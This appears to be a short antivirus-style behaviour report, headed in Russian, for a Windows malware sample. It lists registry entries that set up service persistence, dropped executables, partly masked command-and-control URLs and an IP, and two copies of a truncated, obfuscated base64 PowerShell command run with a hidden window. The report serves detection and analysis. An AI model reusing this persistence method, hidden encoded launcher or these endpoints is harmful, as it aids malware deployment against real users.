Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\eapp3hst] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\eapp3hst] 'ImagePath' = '"%WINDIR%\SysWOW64\dot3gpclnt\eapp3hst.exe"'
- 'eapp3hst' "%WINDIR%\SysWOW64\dot3gpclnt\eapp3hst.exe"
- 'eapp3hst' %WINDIR%\SysWOW64\dot3gpclnt\eapp3hst.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABFAGQAcwBfAGcAOQBhAD0AKAAnAFIAJwArACcAegA3ACcAKwAoACcAcgAnACsAJwBmAGgAZAAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBmAEkAbABFAFwARQA1A...
- %HOMEPATH%\e5uhf3d\akvy3ll\g7qa2o.exe
- %WINDIR%\syswow64\dot3gpclnt\eapp3hst.exe
- %HOMEPATH%\e5uhf3d\akvy3ll\g7qa2o.exe в %WINDIR%\syswow64\dot3gpclnt\eapp3hst.exe
- '24.##.32.186':80
- http://fu#######ntentertainment.com/cgi-bin/jO/
- http://24.##.32.186/YSHqtRAfgVXvDS/
- DNS ASK fu#######ntentertainment.com
- '%HOMEPATH%\e5uhf3d\akvy3ll\g7qa2o.exe'
- '%WINDIR%\syswow64\dot3gpclnt\eapp3hst.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABFAGQAcwBfAGcAOQBhAD0AKAAnAFIAJwArACcAegA3ACcAKwAoACcAcgAnACsAJwBmAGgAZAAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBmAEkAbABFAFwARQA1A...' (со скрытым окном)